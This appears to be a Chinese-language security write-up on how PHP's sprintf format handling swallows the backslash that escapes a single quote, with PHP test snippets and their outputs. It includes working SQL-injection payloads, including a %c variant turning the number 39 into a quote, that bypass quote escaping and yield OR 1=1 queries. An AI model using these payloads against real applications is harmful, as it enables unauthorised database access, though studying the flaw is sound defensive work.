1
2
3
4
5
6
var_dump(sprintf("1%'#10s9",'monkey'));
#使用#填充,结果是1####monkey9

var_dump(sprintf("1$'#10s",'monkey'));
# 结果为'####monkey'(length=10)

问题出在单引号上

Sprintf()函数中**%**1$’[需要填充的字符]10s:

在需要填充的字符前面都要加上一个单引号,’10’代表的字符串总长度为10。

执行

1
2
3
<?php
$sql=sprintf("select * from t where a='%\'",'admin');
echo $sql;

结果为

1
select * from t where a=''

在php的格式化字符串中,%后的一个字符(除了’%’)会被当作字符类型,而被吃掉,单引号’,斜杠\也不例外

所以,如果提前将%'and 1 = 1 #'拼接到sql语句里,如果存在sqli过滤,单引号会被转移成

1
\'select* from user where username = '%\' and 1=1#';

然后sql语句如果继续进入格式化字符串,\会被%吃掉,则 ‘ 成功逃逸

测试1:

1
2
3
4
5
6
<?php
$sql= "select * from user where username = '%\' and 1=1#';";
$args= "admin";
echo sprintf( $sql, $args ) ;
//result:select * from user where username = '' and 1=1#'
?>

结果:

1
select * from user where username = '' and 1=1#';

测试2:

1
2
3
4
5
6
<?php
$sql= "select * from user where username = '%1$\' and 1=1#' andpassword='%s';";
$args= "admin";
echo sprintf( $sql, $args) ;
//result:select * from user where username = '' and 1=1#' andpassword='admin';
?>

结果:

1
select * from user where username = '' and 1=1#' andpassword='admin';

国外的研究人员AnthonyFerrara给出了另一种利用方式

1
2
3
4
5
6
<?php
$input1= '%1$c) OR 1 = 1 /*';
$input2= 39;
$sql= "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql= sprintf($sql, $input2);
echo $sql;

%c起到了类似chr()的效果,将数字39转化为单引号’,从而导致了sql注入。

结果:

1
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*') AND baz = 39